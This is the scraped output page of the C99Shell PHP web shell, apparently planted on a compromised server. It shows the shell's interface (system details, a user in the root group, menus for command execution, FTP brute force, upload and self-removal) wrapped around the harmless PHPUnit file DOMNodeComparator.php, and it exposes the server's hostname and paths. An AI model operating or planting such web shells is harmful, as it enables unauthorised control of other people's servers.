!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/sebastian/comparator/src/   drwxr-xr-x
Free 28.54 GB of 117.98 GB (24.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     DOMNodeComparator.php (2.31 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php declare(strict_types=1);
/*
 * This file is part of sebastian/comparator.
 *
 * (c) Sebastian Bergmann <sebastian@phpunit.de>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
namespace SebastianBergmann\Comparator;

use function 
assert;
use function 
mb_strtolower;
use function 
sprintf;
use 
DOMDocument;
use 
DOMNode;
use 
ValueError;

final class 
DOMNodeComparator extends ObjectComparator
{
    public function 
accepts(mixed $expectedmixed $actual): bool
    
{
        return 
$expected instanceof DOMNode && $actual instanceof DOMNode;
    }

    
/**
     * @throws ComparisonFailure
     */
    
public function assertEquals(mixed $expectedmixed $actualfloat $delta 0.0bool $canonicalize falsebool $ignoreCase false, array &$processed = []): void
    
{
        
assert($expected instanceof DOMNode);
        
assert($actual instanceof DOMNode);

        
$expectedAsString $this->nodeToText($expectedtrue$ignoreCase);
        
$actualAsString   $this->nodeToText($actualtrue$ignoreCase);

        if (
$expectedAsString !== $actualAsString) {
            
$type $expected instanceof DOMDocument 'documents' 'nodes';

            throw new 
ComparisonFailure(
                
$expected,
                
$actual,
                
$expectedAsString,
                
$actualAsString,
                
sprintf("Failed asserting that two DOM %s are equal.\n"$type)
            );
        }
    }

    
/**
     * Returns the normalized, whitespace-cleaned, and indented textual
     * representation of a DOMNode.
     */
    
private function nodeToText(DOMNode $nodebool $canonicalizebool $ignoreCase): string
    
{
        if (
$canonicalize) {
            
$document = new DOMDocument;

            try {
                
$c14n $node->C14N();

                
assert(!empty($c14n));

                @
$document->loadXML($c14n);
            } catch (
ValueError) {
            }

            
$node $document;
        }

        
$document $node instanceof DOMDocument $node $node->ownerDocument;

        
$document->formatOutput true;
        
$document->normalizeDocument();

        
$text $node instanceof DOMDocument $node->saveXML() : $document->saveXML($node);

        return 
$ignoreCase mb_strtolower($text'UTF-8') : $text;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--